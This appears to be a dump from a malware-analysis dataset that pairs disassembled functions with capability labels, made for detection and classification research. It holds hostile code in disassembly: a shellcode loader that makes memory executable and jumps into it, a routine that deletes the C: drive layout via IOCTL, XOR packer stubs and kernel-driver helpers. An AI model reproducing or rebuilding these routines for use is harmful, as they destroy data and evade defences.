joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401570
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x477368
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4706d8
push eax
mov dword fs:[0], esp
mov eax, dword [0x895590]
sub esp, 0x504
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x401625
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x34]
call fcn.00401910
push 0
mov dword [ebp - 4], 0
call fcn.00402a23
add esp, 4
jmp 0x401560
add eax, 0x1134b
push eax
push 0
mov dword [0x895590], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x895590]
lea edx, [ebp - 0x14]
push edx
push 0x40
push ecx
push eax
mov dword [0x8944e4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
lea esp, [esp]
cmp esi, 0x2710
jge 0x401673
lea edx, [ebp - 0x510]
push edx
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401660
mov ecx, dword [0x895590]
xor esi, esi
test ecx, ecx
jbe 0x4016dd
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [0x895594]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x8944e4]
mov byte [edx + esi], cl
mov ecx, dword [0x895590]
cmp ecx, 0xa8
jne 0x4016d8
push 0
lea eax, [ebp - 0x10]
push eax
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [ebp - 0x110]
push ecx
call ebx
mov ecx, dword [0x895590]
inc esi
cmp esi, ecx
jb 0x401694
xor eax, eax
nop
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x401775
inc eax
cmp eax, 0x39621
jl 0x4016e0
call fcn.00401480
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x40170d
call fcn.00401540
inc esi
cmp esi, 0x6753f
jl 0x401701
mov esi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov edi, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov ebx, 0x7b
jmp 0x401730
cmp dword [0x895590], 0x86
jne 0x40175a
push 0
push str.henanuhasov_xun
push str.ekuposu_nujuf
call esi
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub ebx, 1
jne 0x401730
call fcn.004011c0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x401780
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
cmp dword [0x895590], 0x400
push esi
push edi
jne 0x4017de
push 0
call dword [sym.imp.USER32.dll_WindowFromDC]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll__lopen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
lea esi, [ebp - 0x24]
call fcn.004018e0
mov ecx, esi
call fcn.00401900
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCaretPos]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0xa50
jge 0x4017fc
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2af68b
jle 0x401812
cmp edi, 0x78d9a205
jne 0x40181b
inc esi
cmp esi, 0x1c5d
jl 0x4017f0
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
lea esp, [esp]
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0x206d47
jg 0x40184d
inc esi
cmp esi, 0x4f6a4
jl 0x401830
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
push 0
call edi
cmp esi, 0x2b259d
jle 0x40186c
cmp ebx, 0x785074d5
jne 0x401875
inc esi
cmp esi, 0x11915
jl 0x401858
mov ecx, dword [0x47640c]
mov edx, dword [0x4763e0]
mov dword [0x895590], ecx
mov dword [0x895594], edx
call fcn.00401570
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov edi, 0x3078f
pop ebx
mov edi, edi
cmp dword [0x895590], 0x51f
jne 0x4018bc
push 0
lea eax, [ebp - 0x424]
push eax
push str.kuzekaziguzedabixuve
call esi
sub edi, 1
jne 0x4018a0
mov eax, dword [0x8944e4]
mov dword [0x894b24], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4036bb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x475660]
jne 0x4036c5
repz ret
jmp fcn.00407bcc
Function at 0x40a62f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040551a
and dword [ebp - 4], 0
cmp dword [0x47728c], 0
mov ebx, eax
jne 0x40a6e0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a791
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a791
push eax
call fcn.004054a8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x47728c], eax
call esi
push eax
call fcn.004054a8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x477290], eax
call esi
push eax
call fcn.004054a8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x477294], eax
call esi
push eax
call fcn.004054a8
pop ecx
mov dword [0x47729c], eax
test eax, eax
je 0x40a6e0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004054a8
pop ecx
mov dword [0x477298], eax
mov eax, dword [0x477298]
cmp eax, ebx
je 0x40a738
cmp dword [0x47729c], ebx
je 0x40a738
push eax
call fcn.00405523
push dword [0x47729c]
mov esi, eax
call fcn.00405523
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a738
test edi, edi
je 0x40a738
call esi
test eax, eax
je 0x40a72f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a72f
test byte [ebp - 0xc], 1
jne 0x40a738
or dword [ebp + 0x10], 0x200000
jmp 0x40a771
mov eax, dword [0x477290]
cmp eax, ebx
je 0x40a771
push eax
call fcn.00405523
pop ecx
test eax, eax
je 0x40a771
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a771
mov eax, dword [0x477294]
cmp eax, ebx
je 0x40a771
push eax
call fcn.00405523
pop ecx
test eax, eax
je 0x40a771
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x47728c]
call fcn.00405523
pop ecx
test eax, eax
je 0x40a791
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a793
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401010
Capabilities:
Delete drive layout via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.DeviceIoControl
push ebx
call edi
push 0x417cc8
push ebx
mov dword [ebp - 0x210], eax
call edi
push 0x43
mov esi, eax
lea eax, [ebp - 0x20c]
push str.._c:
push eax
call fcn.004010c0
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push eax
call esi
push 0x417ce4
push ebx
mov esi, eax
call edi
mov edi, eax
cmp esi, 0xffffffff
je 0x4010ab
push 0
push 0
push 0
push 0
push 0
push 0
push 0x7c100
push esi
call dword [ebp - 0x210]
push esi
call edi
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010f1
mov esp, ebp
pop ebp
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x11236
Capabilities:
Map section object
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x4c
call dword [sym.imp.HAL.dll_KeGetCurrentIrql]
test al, al
jbe 0x1124f
xor eax, eax
jmp 0x112e6
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x44], eax
xor eax, eax
xor esi, esi
mov dword [ebp - 0x4c], 0x18
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x40], 0x40
lea edi, [ebp - 0x3c]
stosd dword es:[edi], eax
push 0x20
stosd dword es:[edi], eax
push 1
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0x100020
lea eax, [ebp - 4]
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ntoskrnl.exe_ZwOpenFile]
test eax, eax
jl 0x112e2
push dword [ebp - 4]
lea eax, [ebp - 0x4c]
push 0x1000000
push 0x10
push esi
push eax
push 0xf001f
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x44], esi
call dword [sym.imp.ntoskrnl.exe_ZwCreateSection]
test eax, eax
jl 0x112e2
push 4
push 0x100000
push 1
lea eax, [ebp - 0x14]
push eax
push esi
push 0x3e8
push esi
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
test eax, eax
jge 0x112ea
xor eax, eax
pop edi
pop esi
leave
ret 8
push ebx
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x3c]
mov esi, dword [ecx + eax + 0x78]
push dword [ebp + 8]
add esi, eax
mov edi, dword [esi + 0x1c]
mov ebx, dword [esi + 0x20]
mov ecx, dword [esi + 0x24]
add ecx, eax
mov dword [ebp - 0xc], eax
add edi, eax
add ebx, eax
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x18], ecx
call dword [sym.imp.ntoskrnl.exe_RtlInitString]
and dword [ebp + 0xc], 0
cmp dword [esi + 0x14], 0
jbe 0x1137c
mov eax, dword [ebp + 0xc]
mov eax, dword [ebx + eax*4]
add eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitString]
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x18]
movzx eax, word [eax + ecx*2]
add eax, dword [ebp - 0x1c]
push 1
mov eax, dword [edi + eax*4 - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlCompareString]
test eax, eax
je 0x11380
inc dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
cmp eax, dword [esi + 0x14]
jb 0x11332
xor esi, esi
jmp 0x11383
mov esi, dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, esi
pop ebx
jmp 0x112e4
Function at 0x11d72
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
push edi
lea eax, [ebp - 4]
push eax
xor edi, edi
push edi
push eax
push 0xb
call esi
push dword [ebp - 4]
push edi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov ebx, eax
cmp ebx, edi
je 0x11df1
push edi
push dword [ebp - 4]
push ebx
push 0xb
call esi
test eax, eax
jge 0x11dad
push edi
jmp 0x11dea
mov esi, dword [ebx]
xor eax, eax
cmp esi, edi
jbe 0x11df1
lea ecx, [ebx + 0x10]
mov edx, dword [ecx - 4]
cmp dword [ebp + 8], edx
jb 0x11dc9
mov edi, dword [ecx]
add edi, edx
cmp dword [ebp + 8], edi
jbe 0x11dd6
inc eax
add ecx, 0x11c
cmp eax, esi
jb 0x11db8
jmp 0x11df1
mov edi, dword [ebp + 0xc]
imul eax, eax, 0x11c
push 0x40
pop ecx
lea esi, [eax + ebx + 0x20]
rep movsd dword es:[edi], dword [esi]
push 0
push ebx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x11dfe
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push edi
push dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
call esi
lea eax, [ebp - 0xc]
mov dword [ebp - 0x24], eax
xor edi, edi
lea eax, [ebp - 4]
push eax
push edi
push edi
push edi
lea eax, [ebp - 0x2c]
push eax
push 0xf003f
lea eax, [ebp + 0x14]
push eax
mov dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x20], 0x40
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
test eax, eax
jl 0x11e7d
push dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
call esi
push dword [ebp + 0x18]
lea eax, [ebp - 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
push eax
push dword [ebp + 0x14]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp + 0x14]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop edi
pop esi
leave
ret 0x14
Function at 0x11e88
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push edi
push dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push eax
call esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x2c]
push eax
xor ebx, ebx
push 0xf003f
lea eax, [ebp + 0xc]
push eax
mov dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0x40
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jge 0x11ef2
mov edx, dword [ebp + 8]
mov eax, 0x15b24
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
cmp cx, bx
jne 0x11ee2
jmp 0x11f6e
push dword [ebp + 0x10]
lea eax, [ebp - 0xc]
push eax
call esi
mov esi, dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push 2
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
call esi
cmp eax, 0xc0000034
je 0x11f65
cmp dword [ebp - 4], ebx
je 0x11f65
push dword [ebp - 4]
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov edi, eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0xc]
push edi
push 2
push eax
push dword [ebp + 0xc]
call esi
test eax, eax
jl 0x11f65
mov eax, dword [edi + 4]
cmp eax, 1
je 0x11f4f
cmp eax, 2
jne 0x11f65
mov edx, dword [ebp + 8]
lea eax, [edi + 0xc]
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
cmp cx, bx
jne 0x11f57
push dword [ebp + 0xc]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x1204c
Capabilities:
Get file attributes
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x40
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
xor edi, edi
push edi
push edi
push 0x20
push 1
push 1
push 0x80
lea eax, [ebp - 0x10]
mov dword [ebp - 0x20], eax
push edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
push 0x80000000
lea eax, [ebp + 8]
push eax
mov dword [ebp - 0x28], 0x18
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x1c], 0x40
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
jge 0x120b3
xor al, al
jmp 0x12109
push 5
push 0x18
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
mov eax, dword [ebp - 0x38]
mov dword [esi + 4], eax
mov eax, dword [esi]
cmp eax, edi
je 0x120dc
push edi
push eax
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
push dword [ebp - 0x38]
push edi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
push edi
push edi
push dword [esi + 4]
mov dword [esi], eax
push eax
lea eax, [ebp - 8]
push eax
push edi
push edi
push edi
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov al, 1
pop edi
pop esi
leave
ret 4
Function at 0x125f0
Capabilities:
Write file on windows

Disassembly:
push 0x34
push 0x174c8
call fcn.00015698
xor esi, esi
mov dword [ebp - 4], esi
call dword [sym.imp.HAL.dll_KeGetCurrentIrql]
test al, al
ja 0x12688
push dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov dword [ebp - 0x44], 0x18
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x38], 0x40
lea eax, [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
push esi
push esi
push 0x20
push 5
push 2
push 0x80
push esi
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x44]
push eax
push 0x40000000
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
cmp eax, esi
jl 0x12688
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
lea eax, [ebp - 0x2c]
push eax
push esi
push esi
push esi
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x12688
mov dword [ebp - 4], 0xfffffffe
call fcn.000156dd
ret 0xc

Function at 0x8003e
Capabilities:
Create device object
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
call fcn.00080005
pop ebp
jmp fcn.0001552a
Function at 0x41f993
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41f9d2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41f9d2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41f9d2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41f9d2
cmp dword [ecx + 0x74], 0xe
jbe 0x41f9d2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x432150
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43217d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43217d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x48fa1ba4
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x504a5bb3
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4015f0
Capabilities:
Extract resource via kernel32 functions
Get hostname

Disassembly:
push ecx
push 0x42a2f8
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x423578
push eax
mov dword fs:[0], esp
sub esp, 0xd84
cmp dword [0x848528], 0x5b1
push ebx
push esi
push edi
jne 0x4016b9
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push 0
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea esi, [ebp - 0x34]
call fcn.00401c40
push 0
mov dword [ebp - 4], 0
call fcn.00403afc
push 0
push 0
call fcn.00403950
add esp, 0xc
call fcn.0040370a
jmp 0x4015e0
mov eax, dword [0x429370]
mov dword [0x84852c], eax
mov eax, dword [0x848528]
add eax, 0x1134b
push eax
push 0
mov dword [0x848528], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x847478], eax
call fcn.00401520
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x2710
jge 0x401703
lea ecx, [ebp - 0x590]
push ecx
push 0
call edi
inc esi
cmp esi, 0x18ea14c
jl 0x4016f0
xor esi, esi
cmp dword [0x848528], esi
jbe 0x401768
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov edx, dword [0x84852c]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x847478]
mov byte [ecx + esi], al
cmp dword [0x848528], 0xa8
jne 0x40175f
push 0
lea edx, [ebp - 0x10]
push edx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x190]
push eax
call ebx
inc esi
cmp esi, dword [0x848528]
jb 0x401722
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor esi, esi
jmp 0x401780
mov ecx, dword [0x848528]
add ecx, esi
cmp ecx, 0xe
jne 0x4017ac
push 0
push 0
push str.juxaxisofun
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc esi
cmp esi, 0x39621
jl 0x401780
call fcn.00401460
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4017ce
call fcn.00401500
inc esi
cmp esi, 0x6753f
jl 0x4017c2
mov esi, dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov ebx, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x848528], 0x86
jne 0x40182c
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0xd90]
push eax
push str.zofirajohukaseviheza
call esi
push 0
push str.zajivazegecolojokateweyehenesa
push str.wedihofipepowexohogokozazotahejojeberaxipemobu
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x4017f0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret